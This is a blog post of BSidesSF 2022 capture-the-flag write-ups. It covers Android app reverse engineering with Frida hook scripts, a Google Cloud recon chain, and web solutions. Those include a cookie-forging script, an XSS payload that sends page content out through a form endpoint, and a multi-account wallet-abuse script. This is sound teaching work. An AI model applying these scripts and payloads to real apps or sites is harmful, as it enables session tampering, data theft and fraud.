BSidesSF 2022 CTF Challenge Write-ups

  • 3 Mobile challenges: Monstera, Arboretum and Bridgekeeper
  • 1 Cloud challenge: Cloud hurdles
  • 3 Web challenges: Log Blog, Farmer Town and Trivia Star
  • 2 XSS tutorials

Mobile Challenges

Monstera

  • Android Studio to analyze the APK
  • Or Apktool to disassemble the app and JADX to decompile the dex files
.line 17
const-string v0, "VGgzQXBw"
int part3[] = {84,106,66,51};
.array-data 4
0x54
0x6a
0x42
0x33
.end array-data
String part4_1 = "W";String part4_2 = "F5fQ==";String part4 = part4_1 + part4_1 + part4_2;
.line 18
const-string v0, "W"

iput-object v0, p0, Lcom/bsidessf/monstera/ThirdFragment;->part4_1:Ljava/lang/String;

.line 19
const-string v0, "F5fQ=="

iput-object v0, p0, Lcom/bsidessf/monstera/ThirdFragment;->part4_2:Ljava/lang/String;
---skip---
.line 26
new-instance v0, Ljava/lang/StringBuilder;

invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V

iget-object v1, p0, Lcom/bsidessf/monstera/ThirdFragment;->part4_1:Ljava/lang/String;

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

iget-object v1, p0, Lcom/bsidessf/monstera/ThirdFragment;->part4_1:Ljava/lang/String;

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

iget-object v1, p0, Lcom/bsidessf/monstera/ThirdFragment;->part4_2:Ljava/lang/String;

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v0

.line 27
.local v0, "part4":Ljava/lang/String;
const/4 v1, 0x0

Arboretum

Arboretum overview
  • Disassemble the app, dump the API key for Firebase and use it to create the dynamic link to pass to the back end
  • Patch the app using Frida to pass the flag URL as a parameter to the function that handles the Firebase short link creation (createShortLink())
console.log("Loading the Frida script");
Java.perform(function x() {
// Class to hook into
var targetClass = Java.use("com.bsidessf.arboretum.MainActivity");
var stringClass = Java.use("java.lang.String");
// function to hook into
targetClass.createShortLink.overload("java.lang.String").implementation = function (x) {
// flag url
var url = stringClass.$new("https://storage.cloud.google.com/arboretum-images-2022/flag.png");
// print the original url
console.log("Original url: " + x);
// pass our string
var ret = this.createShortLink(url);
console.log("Return from Frida script");
return ret;
};
});
$ frida -U -f com.bsidessf.arboretum -l solution.js --no-pause
____
/ _ | Frida 15.1.22 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://frida.re/docs/home/
. . . .
. . . . Connected to Android Emulator 5554 (id=emulator-5554)
Spawning `com.bsidessf.arboretum`...
Loading the Frida script
Spawned `com.bsidessf.arboretum`. Resuming main thread!
[Android Emulator 5554::com.bsidessf.arboretum ]-> Original url: https://storage.cloud.google.com/arboretum-images-2022/tree3.png
Return from Frida script
Flag shown in the app

Bridgekeeper

Bridgekeeper overview
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="Level_2">darkness</string>
<string name="Level_1">egg</string>
</map>
2022-06-18 19:20:46.100 6681-7853/com.bsidessf.bridgekeeper D/Response:: You need to solve all the levels!
public class Util {
private static String answerOne = "656767";
private static String answerTwo = "6461726b6e657373";
private static String answerThree = "636f6c64";
....
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="Level_3">cold</string>
<string name="Level_2">darkness</string>
<string name="Level_1">egg</string>
</map>
{"Level_1":"egg","Level_2":"darkness","Level_3":"cold"}
Fetching the flag
{"Level_1":"egg","Level_2":"darkness","Level_3":"cold"}
console.log("Loading the Frida script");
Java.perform(function x() {
// Class to hook into
var targetClass = Java.use("com.bsidessf.bridgekeeper.ThirdFragment");
var stringClass = Java.use("java.lang.String");
// function to hook into
targetClass.getSign.overload("java.lang.String").implementation = function (x) {
// flag url
var data = stringClass.$new('{"Level_1":"egg","Level_2":"darkness","Level_3":"cold"}');
// print the original url
console.log("Original data: " + x);
// pass our string
console.log("Updated data:" + data);
var ret = this.getSign(data);
console.log("Return from Frida script");
return ret;
};
targetClass.getPrefs.overload().implementation = function (x) {
var data = stringClass.$new('{"Level_1":"egg","Level_2":"darkness","Level_3":"cold"}');
return data;
};
});
$ frida -U -f com.bsidessf.bridgekeeper -l solution.js --no-pause
____
/ _ | Frida 15.1.22 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://frida.re/docs/home/
. . . .
. . . . Connected to Android Emulator 5554 (id=emulator-5554)
Spawning `com.bsidessf.bridgekeeper`...
Loading the Frida script
Spawned `com.bsidessf.bridgekeeper`. Resuming main thread!
[Android Emulator 5554::com.bsidessf.bridgekeeper ]-> Original data: {"Level_1":"egg","Level_2":"darkness","Level_3":"cold"}
Updated data:{"Level_1":"egg","Level_2":"darkness","Level_3":"cold"}
Return from Frida script
2022-06-18 19:50:06.768 8117-8245/com.bsidessf.bridgekeeper D/Response:: Flag is CTF{Hardwar3BackedK3y5FTW}

Cloud Challenge

Cloud hurdles

Get ready to clear 5 tasks to get to the flag, everything you need is in the Google Cloud project - bsidessf2022-recon, resources are in us-west1 or us-central1. Your first task is in the bucket - bsidessf-2022-task1.
<ListBucketResult xmlns="http://doc.s3.amazonaws.com/2006-03-01">
<Name>bsidessf-2022-task1</Name>
<Prefix/>
<Marker/>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>task2.txt</Key>
<Generation>1652668999272303</Generation>
<MetaGeneration>2</MetaGeneration>
<LastModified>2022-05-16T02:43:19.273Z</LastModified
<ETag>"514f3b184e97b4895588f13672400fd2"</ETag>
<Size>65</Size>
</Contents>
</ListBucketResult>
Quick, head to our Firebase realtime database for your next task.
{"Task":"Good job, subscribe to bsidessf-2022-task3-sub for the next task"}
  • subscription: projects/bsidessf2022-recon/subscriptions/bsidessf-2022-task3-sub
  • body: “maxMessages”:10
  • Check the box use the API key
Sample API call
{
"receivedMessages": [
{
"ackId": "RVNEUAYWLF1GSFE3GQhoUQ5PXiM_NSAoRRoHCBQFfH1xQ1p1VVkaB1ENGXJ8aXU5C0ZSBk0ALVVbEQ16bVxttPa6vURfQXFsWhEHAENbfF9dGgpvX1hdk_S2j-b8x01wYSuypfL3SH-q3MRkZiA9XxJLLD5-LTdFQV5AEkwmAkRJUytDCypYEU4EISE-MD4",
"message": {
"data": "bmV4dC10YXNr",
"attributes": {
"task4": "Awesome! The next task awaits you at cloud function bsidessf-2022-task4"
},
"messageId": "4602626820617734",
"publishTime": "2022-05-16T03:32:04.477Z"
}
}
]
}
One last task, fetch the source code for this function to view the flag. You do need to be authenticated!
  • name: projects/bsidessf2022-recon/locations/us-west1/functions/bsidessf-2022-task4
  • Check the box for OAuth and API key
Sample API call
{
"downloadUrl": "https://storage.googleapis.com/gcf-sources-373933237187-us-west1/bsidessf-2022-task4-3e94d742-f61f-42a1-90f8-c42f3d9926dc/version-1/function-source.zip?GoogleAccessId=service-373933237187@gcf-admin-robot.iam.gserviceaccount.com&Expires=1652675455&Signature=s9MCM9YOnmD4WFclEx0....snip...."
}

Web Challenges

Trivia Star

Trivia star UI
  • session: Standard Flask Session to maintain the game state
  • star: As the name implies, to track number of stars earned
hash(previous_hash + salt)
import requests
import sys
if len(sys.argv) != 2:
print('Usage: solution.py <challenge-url>')
# Variables
url = sys.argv[1]
answerKey = ['planet','passport','game','rabbit','secrets']
starCount = 0
star = "5f2b5e62b65230eb7fe1856556bad37ed661f299a791df5acad939d4b35a7835"
with requests.Session() as s:
# Initial set-up
s.get(url + '/start')
s.get(url + '/home')
cookies = s.cookies.get_dict()
sessionVal = cookies['session']
while starCount < 50:
for i, value in enumerate(answerKey):
newCookies = {'session':sessionVal,'star':star}
r = s.get(url + '/check-answer?answer=' + answerKey[i],cookies=newCookies)
cookies = s.cookies.get_dict()
if i == 4:
sessionVal = ''
else:
star = cookies['star']
sessionVal = cookies['session']
starCount += 1
if starCount == 50:
break
r = s.get(url + '/flag',cookies=newCookies)
print(r.content)

Log blog

script-src 'self' 'unsafe-inline'; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; report-uri /csp_report; frame-src 'none'
Contact us form on Log-blog
<script>
let content = document.documentElement.innerHTML
let formData = new FormData();
formData.append('email', 'your-email');
formData.append('message',content);

fetch('/send-copy', {
method: 'POST',
body: formData
})
</script>
Sample email

Farmer Town

Farmer Town — home page
Single use can :(
https://farmer-town-f1919184.challenges[.]bsidessf[.]net/sell?id=2&wallet_id=b92a6df5-ce16-4a31-9ea3-56d80c82f4cf
  • Account#1: Water the seed
  • Account#1: Sell the used can for 1g
  • Create 2 accounts (Account#2, Account#3)
  • Account#2 and Account#3: Sell the unused cans with 2g and deposit it to Account#1
  • Account#1: Buy a new can and water the plant
  • Account#1: Fetch the flag
import requests
import sys
import re
if len(sys.argv) != 3:
print('Usage: solution.py <challenge-url> <username>')

# Variables
url = sys.argv[1]
username = sys.argv[2]
password = "woofwoof"
keyUser = ''

# Method to handle the selling of cans
def sellCans(id, KeyUser):
with requests.Session() as s1:
regParam = {'username':username + id,'password':password,'confirm':password,'submit':'Register'}
s1.post(url + '/register',json=regParam)
loginParam = {'username':username + id,'password':password,'submit':'Login'}
s1.post(url + '/login', json=loginParam)
r = s1.get(url + '/home')
canId = re.search('(?<=sell\?id\=)([\w-]+)',r.text).group(1)
r = s1.get(url + '/sell?id=' + canId + '&wallet_id=' + keyUser)

# Set-up your main user
with requests.Session() as s:
regParam = {'username':username,'password':password,'confirm':password,'submit':'Register'}
s.post(url + '/register',json=regParam)
loginParam = {'username':username,'password':password,'submit':'Login'}
s.post(url + '/login', json=loginParam)
s.get(url + '/water')
r = s.get(url + '/home')
keyUser = re.search('(?<=wallet\_id\=)([\w-]+)',r.text).group(1)
canId = re.search('(?<=sell\?id\=)([\w-]+)',r.text).group(1)
s.get(url + '/sell?id=' + canId + '&wallet_id=' + keyUser)
print(keyUser)
# Sell Cans on two other accounts
sellCans('1',keyUser)
sellCans('2',keyUser)
# Buy a can, water plant and get flag
s.get(url + '/buy?id=Can')
s.get(url + '/water')
r = s.get(url + '/flag')
print(r.text)

Closing thoughts

--

--

--

Security Engineer in silicon valley, foodie, gamer and serial doodler. Specialize in red teaming and application security.

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Recording audio with React for Amazon Lex

Frontend Micro Services

Difference between var, let and const

//platform.twitter.com/widgets.js from Twitter https://twitter.com/thehikeexperts

Concatenations Sum: JS

https://dialtrip.com

Publish Angular App into IIS

Intro to ES6 and Functional programming in JavaScript

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
its C0rg1

its C0rg1

Security Engineer in silicon valley, foodie, gamer and serial doodler. Specialize in red teaming and application security.

More from Medium

BOUNTYHUNTER — HackTheBox WriteUp

Hack the Box: Legacy — Writeup (Without Metasploit)

Proving Grounds Sirol walkthrough